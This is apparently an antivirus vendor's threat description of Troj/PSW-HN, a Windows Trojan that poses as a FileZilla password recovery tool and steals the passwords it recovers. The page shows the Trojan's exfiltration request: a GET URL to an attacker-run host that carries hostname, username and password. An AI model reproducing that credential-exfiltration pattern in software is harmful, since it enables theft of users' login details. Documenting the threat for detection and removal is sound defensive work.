high
Summary
Summary
Action- More Information
| Affected operating systems | Windows |
|---|---|
| Protection available since | 30 November 2009 15:29:44 (GMT) |
| Detected by | All Sophos products |
Free virus scan
- Free virus, spyware, and adware scan
- Test your existing anti-virus protection
- Find threats your anti-virus missed
Action
- Summary
- Action
- More Information
Please follow the instructions for removing Trojans.
More Information
Troj/PSW-HN is a Trojan for the Windows platform.
Troj/PSW-HN pretends to be a password recovery of FileZilla but it has got a functionality to steal the recovered passwords.
Once the password recovery process has been succeeded it forwards the Hostname and Username as well as Password to the attackers.
It uses the following method to forward the users credentials:
It connects to the site using HTTP maintained by attackers and makes a request of GET containing the above information.
For example:
hackupload . freehostia . com/i/o.php?test=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Host:evilhostUser:eviluserPass:ev1lp455
This request is to be logged on the site maintained by attackers.
|
